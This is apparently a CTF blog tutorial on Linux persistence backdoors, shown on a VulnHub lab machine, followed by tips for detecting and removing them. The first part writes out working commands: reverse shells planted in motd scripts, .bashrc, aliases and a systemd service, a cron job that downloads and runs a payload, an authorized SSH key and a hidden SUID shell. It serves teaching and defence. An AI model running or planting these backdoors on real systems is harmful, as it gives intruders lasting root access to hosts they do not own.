In Attack-Defense CTF, leaving backdoors is an important part of maintaining access on the target system. As a result, learning some of the backdoor techniques is essential, not only for attackers but also for defenders.
What exactly is a backdoor?
Well, I’m not going to go into as much detail as Wikipedia, but here’s:
A backdoor is a hidden piece of code, script, or a program that is placed on a system for persistence purposes, with that you don’t have to exploit the same system twice. It simply gives you quicker and instant access to the system.
Now that we know what a backdoor is, it’s time to find out where attackers typically hide them in a Linux system. I’ll be using the Pinky’s Palace machine from VulnHub and let’s pretend it has been compromised by attackers.
When the attackers insert their public keys into one of the user’s or root’s
authorized_keys file, it can be considered as a backdoor.
For example, below are the exploitation steps to gain root access on the target system (Pinky’s Palace).
Of course, as an attacker, I don’t want to repeat all those exploitation steps all over again.
So instead, on my attacking machine, I’ll generate a new pair of SSH keys specialized for backdoor.
And then, I can insert the newly generated public key (
backdoor_ssh.pub) into the root’s or user’s
authorized_keys file of the compromised system.
# echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILaxTiK3WJJ422K1yf/9yXFWBeWV6mpZxMEualO2uIul root@kali' > /root/.ssh/authorized_keys
Now by specifying
backdoor_ssh as the identity file (private key), I’m able to gain access on the compromised system via SSH instantly.
This is one of the cool tricks I’ve learned from HackTheBox machine called Traceback.
Motd (Message of the day) is the banner that appears when you log into the machine using SSH. For Ubuntu/Debian motd can be found at
By default, other users don’t have write permission on that directory.
From the image above, there is only one motd script called
As an attacker, I could place a new script there as a backdoor. For example, I’ll put a reverse shell script called
20-backdoor using netcat.
root@pinkys-palace:/etc/update-motd.d# echo -e '#!/bin/sh\nnc 192.168.2.103 9001 -e /bin/bash &' > 20-backdoor && chmod +x 20-backdoor
But wait, I logged in using pinky. How did I end up with a root shell?
Here is the answer:
Executable scripts in /etc/update-motd.d/* are executed by pam_motd(8) as the root user at each login, and this information is concatenated in /var/run/motd. The order of script execution is determined by the run-parts(8) –lsbsysinit option (basically alphabetical order, with a few caveats).
.bashrc is one of the startup scripts used by Bourne shell aka
bash. If there is a user who uses
bash as their login shell, then it gets executed for each interactive session they launch.
Here is some actions that triggers an interactive session:
At the image above, I inserted a non malicious line script
echo "I'm triggered" to my
.bashrc. But now, as an attacker, I can put a reverse shell there and then I’ll just wait for someone to log in to trigger it.
pinky@pinkys-palace:~$ echo 'nc 192.168.2.103 9001 -e /bin/bash >/dev/null &' > .bashrc
In the image above, I switched from
root to user
pinky and put a reverse shell on pinky’s
.bashrc file. I exited pinky’s shell and immediately switch again to user
pinky to trigger an interactive session.
As an attacker, I can also put the backdoor in the users' aliases!
Here is the example of a backdoored
root@pinkys-palace:~# alias cdalias cd='$(nc 192.168.2.103 9001 -e /bin/bash&); cd'
Some other tricky backdoor using alias:
Cron is a feature from Linux/UNIX-like OS that can be used to periodically perform a specific job or task just like Task Scheduler in Windows.
Here is the example of a backdoor using Cron job.
root@pinkys-palace:~# echo '* * * * * root cd /tmp; wget 192.168.2.113/backdoor && chmod +x backdoor && ./backdoor; rm /etc/cron.d/backdoor' > /etc/cron.d/backdoor
What the task above does is it will download a backdoor that is hosted on my attacking machine, and the backdoor then gets executed every minute.
An attacker can also create a backdoor as a service (BaaS) *I’m joking, but it’s true.
Here is the example of BaaS typed directly in a terminal:
root@pinkys-palace:/etc/systemd/system# echo ' > [Service] > Type=simple > User=root > ExecStart=/bin/bash -c "bash -i >& /dev/tcp/192.168.2.103/9001 0>&1" > [Install] > WantedBy=multi-user.target' > ' > backdoor.service
In a single file (
[Service] Type=simple User=root ExecStart=/bin/bash -c "bash -i >& /dev/tcp/192.168.2.103/9001 0>&1" [Install] WantedBy=multi-user.target'
When the service is started, it launches a reverse shell to the attacker.
root@pinkys-palace:/etc/systemd/system# systemctl start backdoor.service
It can be enabled on boot too.
root@pinkys-palace:/etc/systemd/system# systemctl enable backdoor.service
The last one on this post is SUID.
As an example, I can make a copy of bash called
.backdoor (notice the dot) to a low privilege user but has been compromised, and then set SUID permission on it.
Why do I add dot?
Well, this is based on my observation on some people out there. They tend to just use
ls -l rather than
ls -la, and this becomes an advantage for attackers to put a backdoor with a dot.
It’s not just about SUID though, it applies to other backdoors as well (cough and
.git folder cough)
Before reading further, I’ll state that if your server (irl) gets hacked, it’s better to restore the server’s backup or completely rebuild it from scratch, because in the real world, those backdoors can be obfuscated and combined with other techniques (not to mention there might be a rootkit too), which makes it difficult to detect/find.
Also what I share here might not be that effective but, but here is how I usually deal with those backdoors in attack-defense CTF.
Make sure to regularly check the all the users
In the image below, there is a public key with a foreign hostname
kali instead of
pinkys-palace, then you should suspect it.
Well, actually, the attackers might have tricked it to look like it was a legitimate one.
My workaround here is why don’t we create a ‘skeleton’ file of all the
authorized_keys files and set a Cronjob which automatically reverts those files back to its original state, and I might perform it remotely via
scp. This can be applied as well to handle backdoor in
You can find the skeleton file of
It’s not always placed on
/etc/update-motd.d but make sure the motd directory is only writable by root, note the default list of motd files and apply the same thing as above (skeleton file) because attackers might have inserted backdoor in the original file.
We could also do some ‘forensics’ using timestamp:
root@MSI:/etc/update-motd.d# ls --full-time
For example, those files with the timestamp
000000000 (nano) in the image below have most likely not been modified and are still in their original state.
After inserting a non-malicious line, the timestamp changed. From here, it’s safe to assume that someone/something has modified it.
I think monitoring the process using
ps command is enough for this. Anything that looks like a reverse shell or a bind shell is definitely suspicious.
To find an unwanted open port we can use this command:
netstat -antp | grep LISTEN
To find a suspicious connection we can use this command:
netstat -antp | grep ESTABLISHED
Sometimes the state of a backdoor is neither ESTABLISHED nor LISTEN but SYN_SENT. That happens because the backdoor tries to send a reverse shell out but the attacker didn’t catch or fail to catch it.
To find that, at the
grep side, we can just change ESTABLISHED or LISTEN to SYN_SENT
netstat -antp | grep SYN_SENT
There is also the
ps -f command which is pretty good at visualizing the process tree. For example, here we know that the culprit that keeps opening the HTTPS port (443) is probably on
.bashrc file because it gets triggered every time we launch a bash shell (interactive session).
To find some suspicious SUID we can use the
find commands. It can also detect the SUID that started with dot!
root@pinkys-palace:/etc/update-motd.d# find / -type f -perm 4755 2>/dev/null
So that’s all for today.